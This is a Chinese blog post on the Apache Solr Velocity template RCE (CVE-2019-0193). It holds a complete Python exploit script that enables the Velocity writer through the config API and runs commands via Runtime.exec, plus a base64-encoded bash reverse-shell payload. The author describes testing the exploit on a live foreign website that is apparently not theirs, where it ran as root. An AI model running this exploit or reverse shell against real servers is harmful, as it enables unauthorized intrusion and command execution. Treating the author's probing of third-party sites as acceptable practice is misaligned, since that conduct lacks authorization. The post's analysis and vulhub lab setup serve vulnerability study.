zoukankan      html  css  js  c++  java
  • CVE-2019-0193 Apache solr velocity模块漏洞

    Solr简单介绍

    Solr是建立在Apache Lucene ™之上的一个流行、快速、开放源代码的企业搜索平台。

    Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平衡查询,自动故障转移和恢复,集中式配置等。Solr为许多世界上最大的互联网站点提供搜索和导航功能。

    漏洞介绍

    该漏洞的产生是由于两方面的原因:

    当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

    Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
    当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT

    影响范围:5.x - 8.2.0

    需要具有config api

    漏洞复现

    翻了挺久,很多站都是没有core admin中的用户(自我理解),或是有的站已经有所防护,开启了密码验证,测试了很多站,发现一个外国的一个站可以完美复现。(纯属自己不喜欢手动搭建)

    GET请求访问config

    /solr/用户名/config

    post请求poc验证

     

    poc成功

    GET请求RCE poc

    很幸运,solr进程是以root用户权限执行的,一般应该是solr权限。

     

     只能执行一个命令,ls,pwd,whoami,id等单个命令。遗憾,不懂java,不知道是不是可以改成完整RCE的exp

    刚出炉的py_exp

    """
    auth: @l3_W0ng
    version: 1.0
    function: Apache Solr RCE via Velocity template
    usage: python3 script.py ip [port [command]]
                   default port=8983
                   default command=whoami
    note:
    Step1: Init Apache Solr Configuration
    Step2: Remote Exec in Every Solr Node
    """
    
    
    import sys
    import json
    import time
    import requests
    
    
    class initSolr(object):
    
        timestamp_s = str(time.time()).split('.')
        timestamp = timestamp_s[0] + timestamp_s[1][0:-3]
    
        def __init__(self, ip, port):
            self.ip = ip
            self.port = port
    
        def get_nodes(self):
            payload = {
                '_': self.timestamp,
                'indexInfo': 'false',
                'wt': 'json'
            }
            url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'
    
            try:
                nodes_info = requests.get(url, params=payload, timeout=5)
                node = list(nodes_info.json()['status'].keys())
                state = 1
            except:
                node = ''
                state = 0
    
            if node:
                return {
                    'node': node,
                    'state': state,
                    'msg': 'Get Nodes Successfully'
                }
            else:
                return {
                    'node': None,
                    'state': state,
                    'msg': 'Get Nodes Failed'
                }
    
        def get_system(self):
            payload = {
                '_': self.timestamp,
                'wt': 'json'
            }
            url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
            try:
                system_info = requests.get(url=url, params=payload, timeout=5)
                os_name = system_info.json()['system']['name']
                os_uname = system_info.json()['system']['uname']
                os_version = system_info.json()['system']['version']
                state = 1
    
            except:
                os_name = ''
                os_uname = ''
                os_version = ''
                state = 0
    
            return {
                'system': {
                    'name': os_name,
                    'uname': os_uname,
                    'version': os_version,
                    'state': state
                }
            }
    
    
    class apacheSolrRCE(object):
    
        def __init__(self, ip, port, node, command):
            self.ip = ip
            self.port = port
            self.node = node
            self.command = command
            self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node
    
        def init_node_config(self):
            url = self.url + '/config'
            payload = {
                'update-queryresponsewriter': {
                    'startup': 'lazy',
                    'name': 'velocity',
                    'class': 'solr.VelocityResponseWriter',
                    'template.base.dir': '',
                    'solr.resource.loader.enabled': 'true',
                    'params.resource.loader.enabled': 'true'
                }
            }
            try:
                res = requests.post(url=url, data=json.dumps(payload), timeout=5)
                if res.status_code == 200:
                    return {
                        'init': 'Init node config successfully',
                        'state': 1
                    }
                else:
                    return {
                        'init': 'Init node config failed',
                        'state': 0
                    }
            except:
                return {
                    'init': 'Init node config failed',
                    'state': 0
                }
    
        def rce(self):
            url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
                              "%23set($x=%27%27)+"
                              "%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
                              "%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
                              "%23set($str=$x.class.forName(%27java.lang.String%27))+"
                              "%23set($ex=$rt.getRuntime().exec(%27" + self.command +
                              "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
                              "%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
            try:
                res = requests.get(url=url, timeout=5)
                if res.status_code == 200:
                    try:
                        if res.json()['responseHeader']['status'] == '0':
                            return 'RCE failed @Apache Solr node %s
    ' % self.node
                        else:
                            return 'RCE failed @Apache Solr node %s
    ' % self.node
                    except:
                        return 'RCE Successfully @Apache Solr node %s
     %s
    ' % (self.node, res.text.strip().strip('0'))
    
                else:
                    return 'RCE failed @Apache Solr node %s
    ' % self.node
            except:
                return 'RCE failed @Apache Solr node %s
    ' % self.node
    
    
    def check(ip, port='8983', command='whoami'):
        system = initSolr(ip=ip, port=port)
        if system.get_nodes()['state'] == 0:
            print('No Nodes Found. Remote Exec Failed!')
        else:
            nodes = system.get_nodes()['node']
            systeminfo = system.get_system()
            os_name = systeminfo['system']['name']
            os_version = systeminfo['system']['version']
            print('OS Realese: %s, OS Version: %s
    if remote exec failed, '
                  'you should change your command with right os platform
    ' % (os_name, os_version))
    
            for node in nodes:
                res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
                init_node_config = res.init_node_config()
                if init_node_config['state'] == 1:
                    print('Init node %s Successfully, exec command=%s' % (node, command))
                    result = res.rce()
                    print(result)
                else:
                    print('Init node %s Failed, Remote Exec Failed
    ' % node)
    
    
    if __name__ == '__main__':
        usage = ('python3 script.py ip [port [command]]
     '
                 '		default port=8983
     '
                 '		default command=whoami')
    
        if len(sys.argv) == 4:
            ip = sys.argv[1]
            port = sys.argv[2]
            command = sys.argv[3]
            check(ip=ip, port=port, command=command)
        elif len(sys.argv) == 3:
            ip = sys.argv[1]
            port = sys.argv[2]
            check(ip=ip, port=port)
        elif len(sys.argv) == 2:
            ip = sys.argv[1]
            check(ip=ip)
        else:
            print('Usage: %s:
    ' % usage)   

    分析下exp.py,通过访问/solr/admin/cores获取返回的json()对象中的['status']

    list(nodes_info.json()['status'].keys())

    然后在通过字典方法keys,返回所有的键。

    然后在initSolr中get_nodes返回一个字典,讲获取的两个node名,作为'node'的键值

    return {
                    'node': node,
                    'state': state,
                    'msg': 'Get Nodes Successfully'
                }

    然后就是通过/solr/admin/info/system获取主机的相关信息

    system_info = requests.get(url=url, params=payload, timeout=5)
                os_name = system_info.json()['system']['name']
                os_uname = system_info.json()['system']['uname']
                os_version = system_info.json()['system']['version']
                state = 1  

    最后调用rce方法,将poc的get和post带上,迭代数组中的两个node(不一定就是两个,视主机情况而定)尝试RCE,然后获取返回值

    pyexp实验如下:

    只能执行单个命令,无法执行带空格的命令。比如ls -l ,cat xxx等

    总结

    • 这里分析,只是觉得想知道py_exp的运行方式和获取node的具体方式。真得很佩服能通过poc快速编写exp的能力的大佬,膜拜。希望有朝一日,也有如此的快速编写py脚本能力。
    • 自我能力有限,并且不懂java,不知道是否可以真正的RCE,现在的版本,在我的认知里,只能做到whoami,id,pwd,lastlog等单个命令,做不到带空格的命令。本来想尝试passwd的,想想算了,万一搞破坏了,多不好,虽然都是外国站。

    二次复现之反弹shell

    今天看到了可以反弹shell的命令,所以尝试一波

    利用vulnhub的环境复现

    /vulhub/solr/CVE-2019-0193/

    docker-compose up -d
    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

    搭建成功

    再好好的复现一遍。

    发现不能单纯的靠空格来,因为是直接用的get传数据,所以得加个%20或者+号作为空格。post数据是已经url编码过的,所以需要将我们的命令再urlencode的一遍即可。

    经过很多搜索发现,java的RCE中反弹shell的payload很多都会修改成SpEL语句,即Spring表达式语言(本人对java知之甚少)

    反弹shell payload:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQxLjEvOTk5OSAwPiYx|{base64,-d}|{bash,-i}  

    再进行urlencode一次就可以了。

    exp直接可以反弹到shell。这里不实验了。撸作业了。

  • 相关阅读:
    洛谷 P1875 佳佳的魔法药水
    洛谷 P4822 [BJWC2012]冻结
    洛谷 P6175 无向图的最小环问题
    洛谷 P1312 Mayan游戏
    洛谷 P1311 选择客栈
    洛谷 T150024 矩形面积并(扫描线)
    洛谷 P1311 选择客栈
    洛谷 P1514 引水入城
    洛谷 P1310 表达式的值
    求和(团队题目)
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/11774201.html
Copyright © 2011-2022 走看看